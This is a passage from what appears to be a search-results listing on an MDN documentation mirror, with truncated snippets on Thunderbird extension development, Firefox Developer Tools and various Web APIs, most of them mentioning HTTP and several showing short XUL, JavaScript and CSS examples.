kages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your own site or from http://addons.mozilla.org/) this tutorial is compatible with thunderbird versions 2,3 and 5.
Building a Thunderbird extension 3: install manifest
open the file called install.rdf that you created at the top of your extension's directory hierarchy and paste the following text into the file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myfirstext@jen.zed</em:id> <em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</...
Building a Thunderbird extension 5: XUL
example xul overlay document create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myfirstext/content/overlay.js"/><!-- a reference to your javascript file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay> the <statusbar> widget named status-bar specifies the merge point within the application window that we wan...
Creating a Custom Column
our replyto_col_overlay.xul should now contain something similar to this: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript f...
Add Option to Context Menu
for thunderbird 2 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="messagepanecontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </menupopup> </overlay> for thunderbird 3 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concise...
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Modify Folder Pane Display
see https://addons.mozilla.org/thu...er-categories/ for an example.
Thunderbird extensions
an overview of thunderbird components developer reference docs: folder classes db views (message list) message summary database mailnews protocols mailnews filters error reporting tools steel library (obsolete as of thunderbird 52, use https://github.com/protz/thunderbird-stdlib) developing new account types useful newsgroup discussions (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the past years making most techniques considerably easier) thunderbird api docs (mostly a collection of out-of-date pages, relevance is rather dubious) ...
Working with windows in chrome code
ct to a new window when it has a more useful example opener code: window.opendialog("chrome://test/content/progress.xul", "myprogress", "chrome,centerscreen", {status: "reading remote data", maxprogress: 50, progress: 10} ); progress.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window onload="onload();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script><![cdata[ var gstatus, gprogressmeter; var maxprogress = 100; function onload() { gstatus = document.getelementbyid("status"); gprogressmeter = document.getelementbyid("progressmeter"); if("arguments" in window && window.arguments.length > 0) { maxprogress = window.arguments[0].maxprogress; setprogress(window.argu...
XPI
when xpi files are served via http, the application/x-xpinstall mime type should be matched with the xpi file extension.
ctypes.open
see: http://stackoverflow.com/questions/19382201/how-to-load-dll-from-sdk-addon-data-folder it is important to note that custom native files cannot be loaded through chrome:// or resource:// uris.
Browser Side Plug-in API - Plugins
npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser.
Constants - Plugins
npvers_has_response_headers 17 npstreams have response headers for http streams.
Plug-in Development Overview - Plugins
working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
Version, UI, and Status Information - Plugins
browsers communicate with http servers, which store agent software name, version, and operating system in a user_agent field.
Preferences System
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
Introduction to DOM Inspector - Firefox Developer Tools
for example, you can enter http://www.mozilla.org in the address bar and see the dom structure of the mozilla.org home page.
Use a source map - Firefox Developer Tools
the comment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
Source map errors - Firefox Developer Tools
ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map url to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.
Debugger.Source - Firefox Developer Tools
(on the web, the translator may provide the source map url in a specially formatted comment in the javascript source code, or via a header in the http reply that carried the generated javascript.) this property is writable, so you can change the source map url by setting it.
Aggregate view - Firefox Developer Tools
let's get an allocation trace: open the memory tool check "record call stacks" load https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html take a snapshot select "view/aggregate" select "group by/call stack" you should see something like this: this is telling us that 93% of the total heap snapshot was allocated in functions called from "alloc.js", line 35 (our initial createtoolbars() call).
DOM allocation example - Firefox Developer Tools
you can try out the site at https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html.
Monster example - Firefox Developer Tools
you can try the site at https://mdn.github.io/performance-scenarios/js-allocs/alloc.html.
Tree map view - Firefox Developer Tools
this treemap is from http://www.bbc.com/, and is probably more representative of real life than the examples.
Network monitor toolbar - Firefox Developer Tools
import har imports a har (http archive) file.
Network Monitor - Firefox Developer Tools
the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long each request takes, and details of each request.
Examine and edit HTML - Firefox Developer Tools
whitespace nodes are represented with a dot: and you get an explanatory tooltip when you hover over them: to see this in action, see the demo at https://mdn.github.io/devtools-examples/whitespace-only-demo/index.html.
Animation inspector example: CSS transitions - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#selec...
Animation inspector example: Web Animations API - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100%...
Sorting algorithms comparison - Firefox Developer Tools
looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
Cookies - Firefox Developer Tools
httponly — is this cookie http only?
Storage Inspector - Firefox Developer Tools
for example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.
Tips - Firefox Developer Tools
check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues.
View Source - Firefox Developer Tools
for example view-source:https://www.mozilla.org/#line100 view selection source if you select part of a web page and conext-click, you'll see a context menu item labeled "view selection source", that behaves just like "view page source", except you only see the source for the selection.
about:debugging (before Firefox 68) - Firefox Developer Tools
this section uses a simple serviceworker demo, hosted at https://serviceworke.rs/push-simple/.
about:debugging - Firefox Developer Tools
this section uses a simple serviceworker demo, hosted at https://serviceworke.rs/push-simple/.
AnalyserNode.AnalyserNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBuffer() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBufferSourceNode.loop - Web APIs
you can run the full example live (or view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioBufferSourceNode.loopEnd - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.
AudioBufferSourceNode.loopStart - Web APIs
function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.co...
AudioBufferSourceNode.playbackRate - Web APIs
<input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); ...
AudioContext.baseLatency - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioContext.getOutputTimestamp() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioParam.cancelAndHoldAtTime() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioProcessingEvent - Web APIs
ate audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to ...
BaseAudioContext.createConstantSource() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BaseAudioContext.createConvolver() - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with d...
BaseAudioContext.createScriptProcessor() - Web APIs
ate audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to ...
BaseAudioContext - Web APIs
in this case, the arraybuffer is usually loaded from an xmlhttprequest's response attribute after setting the responsetype to arraybuffer.
BasicCardRequest.supportedNetworks - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.billingAddress - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardNumber - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardSecurityCode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardholderName - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.expiryMonth - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.expiryYear - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BiquadFilterNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BlobEvent.timecode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BluetoothCharacteristicProperties - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
characteristic - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
readValue() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
uuid - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
value - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
writeValue() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BluetoothRemoteGATTDescriptor - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.create...
Body - Web APIs
WebAPIBody
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe de...
BudgetService.getBudget() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService.getCost() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService.reserve() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState.budgetAt - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState.time - Web APIs
WebAPIBudgetStatetime
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ByteLengthQueuingStrategy - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ByteString - Web APIs
bytestring maps to a string when returned in javascript; generally, it's only used when interfacing with protocols that use bytes and strings interchangably, such as http.
CSSImageValue - Web APIs
examples we create an element <button>magic wand</button> we add some css, including a background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px; background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
CSSPositionValue - Web APIs
#image { width: 300px; height: 300px; border: 1px solid black; background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSStyleRule.selectorText - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CSSStyleSheet - Web APIs
nd <link> elements in the document yes .ownernode htmllinkelement, htmlstyleelement, or svgstyleelement .sheet css @import rule in other style sheets applied to the document yes .ownerrule cssimportrule .stylesheet <?xml-stylesheet ?> processing instruction in the (non-html) document yes .ownernode processinginstruction .sheet http link header yes n/a n/a n/a user agent (default) style sheets no n/a n/a n/a specifications specification status comment css object model (cssom)the definition of 'cssstylesheet' in that specification.
CSS Painting API - Web APIs
item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 19</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); then we can use the <image> with the css paint() function: li { --boxcolor: hsla(55, 90%, 60%, 1.0); background-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0); background-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcol...
Cache.add() - Web APIs
WebAPICacheadd
exceptions exception happens when typeerror the url scheme is not http or https.
Cache.addAll() - Web APIs
WebAPICacheaddAll
exceptions exception happens when typeerror the url scheme is not http or https.
Cache.put() - Web APIs
WebAPICacheput
note: the promise will reject with a typeerror if the url scheme is not http or https.
CanvasRenderingContext2D.addHitRegion() - Web APIs
see https://github.com/whatwg/html/issues/3407 for more information.
CanvasRenderingContext2D.clearHitRegions() - Web APIs
see https://github.com/whatwg/html/issues/3407 for more information.
CanvasRenderingContext2D.createPattern() - Web APIs
the original image looks like this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the contents of an offscreen canvas.
CanvasRenderingContext2D.filter - Web APIs
html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications ...
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
html <canvas id="canvas" width="460" height="210"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '16px sans-serif'; ctx.textalign = 'center'; const img = new image(); img.src = 'https://interactive-examples.mdn.mozilla.net/media/examples/star.png'; img.onload = function() { const w = img.width, h = img.height; ctx.filltext('source', w * .5, 20); ctx.drawimage(img, 0, 24, w, h); ctx.filltext('smoothing = true', w * 2.5, 20); ctx.imagesmoothingenabled = true; ctx.drawimage(img, w, 24, w * 3, h * 3); ctx.filltext('smoothing = false', w * 5.5, 20); ctx.
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification.
CanvasRenderingContext2D.removeHitRegion() - Web APIs
see https://github.com/whatwg/html/issues/3407 for more information.
Applying styles and colors - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); // create new image object to use as pattern var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { // create pattern var ptrn = ctx.createpattern(img, 'repeat'); ctx.fillstyle = ptrn; ctx.fillrect(0, 0, 150, 150); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); the result looks like this: screenshotlive sample shadows using shadows involves just four properties: s...
ChildNode.before() - Web APIs
WebAPIChildNodebefore
with(node) { before("foo"); } // referenceerror: before is not defined polyfill you can polyfill the before() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/before()/before().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('before')) { return; } object.defineproperty(item, 'before', { configurable: true, enumerable: true, writable: true, value: function before() { var argarr = array.prototype.slice.call(arguments), ...
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
with(node) { remove(); } // referenceerror: remove is not defined polyfill you can polyfill the remove() method in internet explorer 9 and higher with the following code: // from:https://github.com/jserz/js_piece/blob/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.removechild(this); } }); })...
Clients.openWindow() - Web APIs
examples // send notification to os if applicable if (self.notification.permission === 'granted') { const notificationobject = { body: 'click here to view your messages.', data: { url: self.location.origin + '/some/path' }, // data: { url: 'http://example.com' }, }; self.registration.shownotification('you\'ve got messages!', notificationobject); } // notification click event listener self.addeventlistener('notificationclick', e => { // close the notification popout e.notification.close(); // get all the window clients e.waituntil(clients.matchall({ type: 'window' }).then(clientsarr => { // if a window tab matching the ta...
Clipboard - Web APIs
WebAPIClipboard
content scripts applied on http sites do not have access to the clipboard object.
CloseEvent - Web APIs
this is similar to 502 http status code.
ConvolverNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ConvolverNode.buffer - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with d...
ConvolverNode.normalize - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with d...
CountQueuingStrategy - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CrashReportBody - Web APIs
some sample json might look like this: { "type": "crash", "age": 42, "url": "https://example.com/", "user_agent": "mozilla/5.0 (x11; linux x86_64; rv:60.0) gecko/20100101 firefox/60.0", "body": { "reason": "oom" } } note: crash reports are always delivered to the endpoint group named default; there is currently no way to override this.
DOMConfiguration - Web APIs
"normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMException() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMException.message - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMHighResTimeStamp - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMImplementation.createDocument() - Web APIs
example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); body.setattribute('id', 'abc'); doc.documentelement.appendchild(body); alert(doc.getelementbyid('abc')); // [object htmlbodyelement] specifications specification status comment domthe definition of 'domimplementation.createdocument' in that specification...
DOMImplementation.createDocumentType() - Web APIs
example var dt = document.implementation.createdocumenttype('svg:svg', '-//w3c//dtd svg 1.1//en', 'http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd'); var d = document.implementation.createdocument('http://www.w3.org/2000/svg', 'svg:svg', dt); alert(d.doctype.publicid); // -//w3c//dtd svg 1.1//en specifications specification status comment domthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMRectReadOnly.fromRect() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMTokenList.forEach() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DataTransfer.files - Web APIs
example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification.
DataTransfer.mozSetDataAt() - Web APIs
function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransferItem.webkitGetAsEntry() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DataTransferItemList.DataTransferItem() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s...
DataTransferItemList.add() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function...
DataTransferItemList.clear() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function...
DataTransferItemList.length - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s...
DataTransferItemList.remove() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function...
DelayNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Device Memory API - Web APIs
